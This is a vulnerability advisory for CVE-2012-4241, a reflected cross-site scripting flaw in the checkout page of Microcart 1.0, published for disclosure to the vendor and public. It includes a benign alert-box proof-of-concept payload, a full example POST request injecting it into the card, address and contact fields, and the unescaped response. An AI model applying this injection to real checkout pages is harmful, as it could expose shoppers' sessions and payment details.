Microcart 1.0 Checkout.php Cross-Site Scripting Security Vulnerability
Summary
Microcart 1.0 is subject to several cross-site scripting vulnerabilities. Multiple POST parameters on the /checkout.php page were found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into a POST request. This code is then passed into the page content without sanitisation, and executed by the browser. The following parameters are affected: first_name, last_name, cc, exp, cvv, address1, address2, city, state, zip, phone and email. Injecting the following Javascript code into any of the affected parameters on the /checkout.php page will trigger the vulnerability, causing the page to return a Javascript alert box.
- CVE number: CVE-2012-4241
- Impact: Medium
- Vendor homepage: http://microcart.sourceforge.net/
- Vendor notified: 23/07/2012
- Vendor response: This package is no longer being maintained and has subsequently been removed from sourceforge.net
- Credit: Chris Cooper and Joseph Sheridan of Reaction Information Security
About ReactionIS
Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality security testing services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.
Affected Products
Microcart 1.0.
Details
Multiple POST parameters on the /checkout.php page were found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into a POST request. This code is then passed into the page content without sanitisation, and executed by the browser. The following parameters are affected: first_name, last_name, cc, exp, cvv, address1, address2, city, state, zip, phone and email. Injecting the following Javascript code into any of the affected parameters on the /checkout.php page will trigger the vulnerability, causing the page to return a Javascript alert box.
<script>alert('xsstest')</script> Example Request: POST /microcart/checkout.php HTTP/1.1 Host: 192.168.0.6 Referer: https://192.168.0.6/microcart/checkout.php Cookie: PHPSESSID=2df3a1bb0sh1eka0nbte6u59e7 Content-Type: application/x-www-form-urlencoded Content-Length: 503 order_confirm=true&first_name=<script>alert('xsstest')</script>&last_name= <script>alert('xsstest')</script>&cc=<script>alert('xsstest') </script>&exp=<script>alert('xsstest')</script>&cvv= <script>alert('xsstest')</script>&address1=<script>alert('xsstest') </script>&address2=<script>alert('xsstest')</script>&city= <script>alert('xsstest')</script>&state=<script>alert('xsstest') </script>&zip=<script>alert('xsstest')</script>&phone= <script>alert('xsstest')</script>&email=<script>alert('xsstest')</script> Example Response: --- SNIP --- <tr> <th>First Name:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>Last Name:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <th>Credit Card Number:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>Exp. Date (MMYY):</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>CVV2/CVC2 Number:<br />(Security code on back)</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> </table> </td><td> <table> <tr> <th>Street Number:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>Address:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>City:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>State:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>ZIP Code:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>Phone Number:</th> <td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td> </tr> <tr> <th>Email Address:</th> <td><input type="hidden" name="email" value= "<script>alert('xsstest')</script>" /><script> alert('xsstest')</script></td> </tr> --- SNIP ---
Impact
An attacker might entice users to submit a malcious HTML form, causing Javascript code to execute in their browser, potentially stealing session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.
Solution
The affected product is not under active development and, at the time of writing, no patch has been released by the vendor.
Distribution
In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.
- bugtraq () securityfocus com
- full-disclosure () lists grok org uk
Future updates of this advisory, if any, will be placed on the ReactionIS website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates.